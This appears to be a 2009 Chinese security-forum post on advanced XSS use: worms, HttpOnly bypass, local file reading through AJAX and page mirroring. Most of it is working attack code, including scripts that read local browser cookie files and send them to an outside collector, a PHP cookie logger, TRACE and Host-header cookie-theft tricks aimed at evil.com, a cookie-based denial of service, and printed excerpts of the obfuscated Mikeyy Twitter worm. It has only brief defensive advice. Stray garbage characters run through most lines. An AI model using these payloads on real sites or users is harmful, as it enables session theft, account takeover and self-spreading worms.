XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
& T& ]- O4 j D本帖最后由 racle 于 2009-5-30 09:19 编辑
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' l2 Q) e: k, P3 @ ^$ t! CXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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1 s; G6 X& D6 ?. {; rhttp://bbs.tian6.com/thread-12711-1-1.html
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. T ~& R7 u4 U2 h Z- @; [2 S-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.. t: [, W0 ?7 P5 C: O
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如果你还未具备基础XSS知识,以下几个文章建议拜读:% X; `/ I5 |8 H m) c
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
$ s5 z- ]5 ?7 {& k3 rhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
6 ^+ J9 ^9 l/ [7 F) }. Chttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
2 S% E6 M2 n3 b0 jhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
0 p; k/ O( q( e2 A# yhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
9 a9 V, ]) Y. C2 V" K7 M7 Ihttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.4 }6 P* `2 p' |7 B, w
( J2 ]. H7 v! q, I( S! b希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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$ }$ r1 O6 M$ ~! o. D1 j如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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& y" m1 [7 ~/ X9 Y* i9 q/ gQQ ZONE,校内网XSS 感染过万QQ ZONE.
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪8 l( K: Z. u0 k
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复制代码------------------------------------------介绍-------------------------------------------------------------) \% q8 p, j$ d! S) z. }* e
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.8 K1 J0 M5 I; X( H0 ^8 O/ V
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.$ ?, H! q2 l/ V0 d7 E: g9 o" r
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5 |* M8 i: f3 n& A# S/ @如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.% P8 Z8 M. }' ~* ^' ~
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.* {- h) ?+ w. K7 y5 D: l
我们在这里重点探讨以下几个问题:! m; A9 P* r* [& ?3 |- H6 q. \
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1 通过XSS,我们能实现什么?. z) M5 W* m6 W
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?* Y/ q" y6 j8 f
5 x- G' n% Q* o' L+ G3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免. Z" g+ u9 V9 ]+ e8 H- U
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------------------------------------------研究正题----------------------------------------------------------
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0 ]0 g+ N5 r4 P% O i通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.. G- B: @4 i, c; i/ A: s! ~2 N7 U& S1 G# R
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
9 `- \. K3 d* R# V0 F) {复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
& _8 L# ]" [+ G, o* ^& o: m, H) V1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
4 s2 Y2 U! T) d# ^1 {2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.# ]6 F& `9 U0 h' h5 E# b
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
: g8 B# m4 o1 Q3 f9 {+ I4:Http-only可以采用作为COOKIES保护方式之一.
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5 ~: D: r# ]! C2 C# F+ Z* o m( z# C(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)* B/ A3 D. f; `4 ?
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。/ }+ N" \2 D. F+ i, x: |
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
5 R: E9 L& S- L8 d- i) @复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}& l; `" Y6 i, {2 ] r, Q* u) h1 l7 q
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} else if(window.ActiveXObject) {6 A& z9 m; r7 m/ G, A
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',4 S" M& \, D. c2 ]- T
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$ A i2 s$ l2 D) A% s 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {1 ^( W& N% R. g) N
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request = new ActiveXObject(versions);
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} catch(e) {}/ Z+ f& g( Z/ ~2 J
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}
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}
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: H& ]& T! V' v" F1 k3 y4 l function _7or3(_m,action,argv){
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_x.send(argv);
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2 _1 j: ]9 q: D) b return _x.responseText;
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);8 X7 ]3 r2 Z6 H6 h2 r
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</script>
4 ]- [4 Z& z4 C5 n/ v1 v复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>3 v; s M4 b- `( Q
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function $(x){return document.getElementById(x)}, r. P% e. h1 U1 ]
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4 E$ U2 m7 X" ` function ajax_obj(){
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if(window.XMLHttpRequest) {; _- E, _& k/ ~# h8 W+ W2 w
/ I$ A. V0 R8 l request = new XMLHttpRequest();
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: M: g+ v; R4 O- L# ?: P } else if(window.ActiveXObject) {1 t* Q& G N& e& p' t( E- w" k
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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) X" M+ E$ E. r' I for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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} catch(e) {}
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7 _8 {* c2 ~( {4 Z2 | function _7or3(_m,action,argv){
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' Z% ~# Y) \! p( K _x.open(_m,action,false);
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2 P# a( I2 q% S7 w0 | if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");, i/ j" B: J5 j4 W
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_x.send(argv);; [4 \/ T% v, l: m
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</script>
: @, m% z7 }* G7 R0 Y$ s复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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" c) [! g0 c* w6 Y6 u; SChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"& o( H# D) u5 i# s
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<? ; ^& \2 |& F! S; w, \
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8 ^. I9 M0 L8 G2 B0 r Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net
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author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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6 V$ d# Q* q9 y$ h v, ^* b6 Jheader("Content-Disposition: attachment;filename=kxlzx.htm"); 1 |2 [" W0 ]# d* k7 Z+ n+ b
" o' A# p V0 O1 X, Zheader("Content-type: application/kxlzx");
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) K6 e6 ^' P, G) ~/* 6 [, v( v/ R: ^
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set header, so just download html file,and open it at local.
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden"> 8 C1 ^8 A; T# u" i, q4 {
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</form>
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<script> 5 R* ^# I) J5 n% }
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function doMyAjax(user)
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{ ) j. P; m7 h! `- h
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var time = Math.random(); $ T& k- x( O; D4 {' X' [% y6 o; O+ Z
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/* ; X; k1 l3 Z# `# T7 n
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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3 R8 k2 e3 L9 b! v5 x6 Q6 qand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History . _: f8 h& U6 U; r- E k4 i" l
( d1 Y, c6 C7 _( N- E; M7 Fand so on...
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2 q* v/ Q# e5 Y9 o$ yvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 9 i5 O& x/ D% a* _% ~ k1 }
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- q G" g5 }" k4 J5 IstartRequest(strPer); 6 r5 `+ L" R3 D3 f
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{2 O. U, `# l- k& C5 }}
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function Enshellcode(txt) + v& K5 V0 j7 e: M4 g5 Y" h7 r
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var url=new String(txt); / }( v6 x) n9 J1 T; W5 G0 X4 B+ W
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var i=0,l=0,k=0,curl="";
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l= url.length;
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$ K9 e8 r" f# a7 o' F6 \for(;i<l;i++){ * a" c5 K7 ~: Y5 B
+ O5 e( _) H+ ]. F! W. G( d
k=url.charCodeAt(i); # m; e+ H7 N7 O
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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if (l%2){curl+="00";}else{curl+="0000";}
2 z0 I5 {! P7 ^/ x9 O' v3 T2 m+ E5 o9 {
curl=curl.replace(/(..)(..)/g,"%u$2$1"); ( }* k# m5 P' j n4 ^1 N/ A: ~
5 e5 B4 ?4 U3 Z. B6 [+ M! i# q# vreturn curl;
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}
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5 ] T% W# @6 {; Cvar xmlHttp;
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3 @+ k0 r4 f7 u7 ~2 \/ T# Mfunction createXMLHttp(){
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. p( {' Q. G4 p# H8 r& Q0 Z if(window.XMLHttpRequest){ , a: }" | I4 T
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xmlHttp = new XMLHttpRequest(); " z: u4 j1 U' ^; O1 z
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}
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1 d0 N4 H0 z7 c else if(window.ActiveXObject){
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7 B5 s: m" J0 B5 g6 WxmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); % ?5 c0 x) e3 Q- L) w2 O
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}
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function startRequest(doUrl){
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createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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- J. ^7 p: k0 E# w xmlHttp.open("GET", doUrl, true);
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; B6 h0 [2 q: z$ w- |; U xmlHttp.send(null); 3 Z! U3 o# L% x2 m4 k
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# }) y, w8 X& c7 ~$ G. q$ c8 }: K4 N) ]7 O3 a' l8 T6 v9 u
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function handleStateChange(){ ( k9 r) m$ a. I
* v, A3 O: I `# ~3 n5 P if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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) V: |- U8 j! }( R* O8 w setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); " W: V/ F+ K; [* n& B6 H: O6 J5 x" j
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+ a& m2 ]- m# R/ t3 ^2 W, ?" @4 |
}
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0 h& f) b& F9 p4 G+ J! v" }9 Wfunction framekxlzxPost(text)
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m2 v K) L9 N4 a- z# a% v{
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document.getElementById("input").value = Enshellcode(text); $ p: b" X% h' A; ]- D
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document.getElementById("form").submit(); : Q8 L) Y' m! q
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} $ b% c4 y! E8 _. a* R) H' `! M7 }
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3 [- V1 e3 g, m1 i& C0 R n- M9 o* P0 h% W$ S2 ^1 t6 B
doMyAjax("administrator");
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</script>7 r1 i; v% d3 q" N; n
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
0 [/ s. F: V4 _# s
* a6 G' h: a! Z0 A% o mfunction createXMLHttp(){
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if(window.XMLHttpRequest){ ; d$ S6 ^; u2 [, J1 `' v
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xmlHttp = new XMLHttpRequest(); ; f4 Q- Q8 `. s% O) P
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}
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- b" T$ p4 P0 k2 g: W. Q! F else if(window.ActiveXObject){ 3 \- ~* }1 G. ^- [/ n% S
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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} ) o% }; w% p/ ~' h- P
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function startRequest(doUrl){
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+ q3 ]2 K% V% x* Z P' s1 R8 X: h+ e% d/ U! u3 ^9 c5 P+ s
createXMLHttp(); ( x; `5 `2 X, ?) Z
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); , c1 k% j( Q) I( S/ Y, O) O
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8 Z4 e1 u6 F; l* K0 _5 n2 M xmlHttp.send(null);
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} * d3 h0 O7 x7 T4 e# j
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function handleStateChange(){
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6 j0 ?6 U! [& x/ Z' u( P7 Y6 f! c if (xmlHttp.readyState == 4 ){ & J O' u& D8 y% B/ u! q. J' @
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var strResponse = "";
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2 _+ d2 ]1 S7 {9 F# H. R; W+ z. f# ^, \ setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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2 m6 D% d) C4 m q
}
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7 i E- M$ I- W; J7 e
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function doMyAjax(user,file) 4 M8 T) t; _: e) c. X6 N
T |! M4 A. s6 I' V$ [{
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var time = Math.random();
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# b7 y4 f2 O; }4 `$ g' ^
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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startRequest(strPer);
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function framekxlzxPost(text)
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{ % `5 g' I& _' e# l0 A7 b$ [+ Q
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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: Y, q0 |, I' Q# v4 q! O5 q alert(/ok/); " y/ X3 @ H0 f# A$ H$ X
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C& l4 a( Q6 r/ R* W1 W# j+ JdoMyAjax('administrator','administrator@alibaba[1].txt'); , m$ O1 b' Z( O: u. F
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</script>9 R/ K( }& J/ w3 y" g! T8 Z
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+ o5 f; f6 y3 n& p7 Y9 T( |4 E
a.php
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# U5 s3 X1 W2 S) j; p6 j2 s' Q' j1 \7 N<?php 9 m- o8 N" h/ O @9 |0 J; v+ s
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, ]1 q6 @: P& z' G2 r5 N* V$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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3 Z6 x @9 a& h$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]);
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8 t- N: e+ c; B& j# ~0 }fclose($fp); - @6 V5 A3 c2 `+ @7 y) W: w+ n
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:# ]* S$ |" O9 p6 v- e3 L# E
+ v5 K% D* g* Z, G! c或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
. z2 ?. V" X/ B( E- i* B) d利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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1 j3 |0 `* E% _# O: ~1 ~代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
5 F1 a* I: i: q
7 W$ X! z5 a: e: J0 h//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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# }; m) x8 @5 N2 W6 c% f//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);6 B2 i' j+ y# d
3 G: y: U9 _3 k* | b7 Vfunction getURL(s) {! U" G- ?: v/ V) I8 D' n
$ @. A% r) y* P
var image = new Image();
% w# K# q5 R8 J4 y% P3 }" u9 p$ A8 }# o* H. Y
image.style.width = 0;
$ d# N i/ ]$ i) \" z. q6 Y; g* ]5 E; g2 w& m
image.style.height = 0;6 C0 M9 D, ~7 u# W5 f: B
3 Y$ T1 c- m6 L5 a" b. `0 timage.src = s;
" v; V1 b2 C. H$ u/ n0 S( F3 _$ d9 t1 |% t; M8 I/ f% O
}
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0 J- Q$ A4 ~) GgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
* X. X# R# m) E' Y, h9 S" }- e9 g复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
1 z+ b8 u- Y# M这里引用大风的一段简单代码:<script language="javascript">& q1 \9 c' c( h( Y, c2 X$ N
8 F% H0 ]& y: z- }4 xvar metastr = "AAAAAAAAAA"; // 10 A/ f4 L `( Z8 N& E
) j8 L2 F4 r! b2 W+ U$ K0 Pvar str = "";9 W, j& Q0 J% v; i% i
' C' a0 n( p9 Nwhile (str.length < 4000){9 v) ^ W i4 @: w
( a! P/ G$ e7 u# {
str += metastr;
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4 n7 Z2 ^+ n, T; l! Bdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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3 X6 S0 }* e+ z1 p' V0 i/ V6 t3 H( g</script>; b* ~ h% b9 N
2 i# M1 c; u' F2 }' s详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html- M/ }/ l) w$ H' d& I# Q% ~) f
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
3 M8 a4 X# L9 p: Mserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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9 N* k3 K; K* C/ m$ b& n假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
/ ^6 a6 @7 s% l& w' ^攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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( @7 v8 S' Z- t9 E; i% J1 J1 i# N- @0 {) F6 I! |- Y- ]
(III) Http only bypass 与 补救对策:
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# O# a. Z% j$ V9 _" U什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.& o- | O# {- Z) G2 X1 v, G7 ^& y
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
' l1 ]& K. s. |$ b% h# M$ @3 \7 s. R
<!--/ F7 q2 J; |3 T! X
5 H3 C4 L) t( ?) u( f5 `' Ifunction normalCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly"; , [: Z! u2 O9 p0 I: U
5 e5 K, A2 s" j4 valert(document.cookie);
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7 K' v* i" Y: T G
8 C) m! l* ]7 E7 N: |$ Q2 Lfunction httpOnlyCookie() { 2 m+ |- ~& Q& V* \3 z4 q& Y2 H, K
- r+ @0 @8 A L5 E: ~/ `$ e! x, qdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
, @" ?! }# ]4 J, ^# q
/ R7 }" X6 B3 |alert(document.cookie);}
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//-->8 q# _, e& m. q
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</script>- P) [" z2 M& [& G4 Y$ e) _! t! f
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>* P9 I+ B, f8 X6 v
$ x1 F$ n0 D- t/ Y& }; C( |. z8 O6 R<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>9 w. I W4 x( `: v8 V( ?% P
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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& R: g: \- b; ?var request = false;0 e' L9 ^3 y7 z9 `: P1 F- j
- |2 m& D {- t' {- _+ F
if(window.XMLHttpRequest) {
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! M6 _3 {+ @2 Q1 B request = new XMLHttpRequest();
) v( ]4 \1 m+ @. r0 Q
1 C( p" ]6 N$ u- q0 I/ z: x$ V if(request.overrideMimeType) {, p6 j- w/ [3 v) ]) c: Q' M; b6 n
9 `# `4 W0 B2 Z* Q) ]& A request.overrideMimeType('text/xml');" p- g2 Y* M A- {3 K6 \! {% S$ k9 e
+ w9 s1 b$ E% c3 L6 j6 r
}( u; e7 S% h% K/ M, \ `
/ C6 v0 V+ [" r9 f% r8 n } else if(window.ActiveXObject) {, U# a1 u) f; Q4 o; f. T3 |
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% ?6 e' s0 O6 E
0 d+ E+ l; Q1 g+ n+ ~ for(var i=0; i<versions.length; i++) {( M' {7 h1 U3 c G8 H) \
) H4 t. P, A6 f Y8 R3 C try {( G& r8 Q$ }1 R
7 o z a8 H+ z! j8 g request = new ActiveXObject(versions);# _" f3 ?' J+ U9 V& q, Y
' i4 Y( u/ D, ]9 n
} catch(e) {}4 X4 L, R+ }' G& M2 b3 {# Q2 ^. g
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m1 ?6 ?: t) \& u; P- qxmlHttp=request;. b' e' J! R6 }7 T& p; Z" R0 y
1 i0 ?. o1 P4 x8 f7 xxmlHttp.open("TRACE","http://www.vul.com",false);# R0 r' L1 T" W& ~$ D; [8 H
- b5 n$ p8 ?" e. ~+ C6 r( nxmlHttp.send(null);
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8 D, u6 l1 y1 q+ {) X' E3 [* u% HxmlDoc=xmlHttp.responseText;* B+ C. W. l* ^1 v. ~9 U- q) S
7 {4 i& u \+ ^) x8 Jalert(xmlDoc);' v" e9 f5 V5 F& l' }+ x
# Q8 ]# E# X& o, r</script>, z0 r) ]$ R5 @0 T' H" u5 x
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>+ ?+ q1 J8 {6 I0 y. s' J
, m# y1 v3 {/ b- Kvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");& N) @0 z" V& Z" y" {( p/ t
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XmlHttp.open("GET","http://www.google.com",false);) n/ J- t) Y$ N) P
( T, C& k; E R j zXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");. M+ o( A; z* N6 A
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XmlHttp.send(null);
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var resource=xmlHttp.responseText8 m9 l& Z/ |' l; q, s# |
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resource.search(/cookies/);
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......................: C! S# p0 C6 M; t1 I
1 ^. i+ x4 m0 F' b</script>
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: ^3 S8 @2 S% u* v
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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7 E% T/ W& L6 q2 S/ b4 y z0 c[code]/ g; @8 U& }+ W
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RewriteEngine On
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RewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]
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2 |! }) |2 c6 u" g S2 V5 E( q0 a" H7 A3 g) s
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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acl TRACE method TRACE' z- u/ l/ T5 s
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...
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http_access deny TRACE( R% o/ C! o0 n% W0 M
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>1 [- n- ]5 E4 g. q( K. [ [
& c( b# c6 P" S; q* O6 Rvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");( [0 Y. W- m- I5 Q3 L- g
1 _% j& s% b0 ~. d( z" WXmlHttp.open("GET","http://www.google.com",false);
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1 h6 d: j* a. {$ g& j+ J) v/ FXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);# w+ r* T6 Z* d: {7 G
9 _: x( \8 O0 E+ \, F</script>/ u9 h. d4 B" s- V/ D3 j
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script># a$ p% o' |5 H7 ~! s
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);, ?% @+ C/ s- L; u/ m# r
* s/ w% L v5 n! K2 L8 G, a( r<script>
# Q. V! h3 K7 q3 k9 H复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
0 ^6 C1 }% n" Z复制代码案例:Twitter 蠕蟲五度發威( G4 g' B+ k$ o+ W$ L& V
第一版:( d/ r' Q0 t3 ?
下载 (5.1 KB)8 ] O( ^. c6 L+ t! b1 I
* O1 J0 ?: t; {/ z6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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) x/ X4 Z- L' {* [
3. function XHConn(){
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2 M# C# q- \. y( r 4. var _0x6687x2,_0x6687x3=false;
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9 p# t% T) W4 s5 ^ 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } - B0 E: B7 l' W8 z8 J3 H3 X
+ p# H- @. [* ~/ x( e! J! b2 v
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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! g4 c; Q- U2 b3 ^. R 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } , c9 U& Y# i1 o/ ~& S" D7 ~- k
8 v. C* n: L8 Z 8. catch(e) { _0x6687x2=false; }; }; };
- B7 m4 `; \$ I0 Y复制代码第六版: 1. function wait() { ' L! G, }+ u# o0 Y. ~8 X
( V. _% G$ X# ^9 c }9 \4 U, } 2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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- U( z# D- z. Q/ P, ?) m. a 4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content); & _" |( ?- K4 G3 O: k0 ^
$ U7 \) r# z5 G6 J% t+ V 7. var authtoken=authtoken[1]; 6 c! B9 S6 Q9 X" _: ?
+ Q1 |* q# o" W, a3 Y, f 8. var randomUpdate= new Array(); # C p, B2 L/ L) u7 I
, \4 z' y! |# S( H% t+ t 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
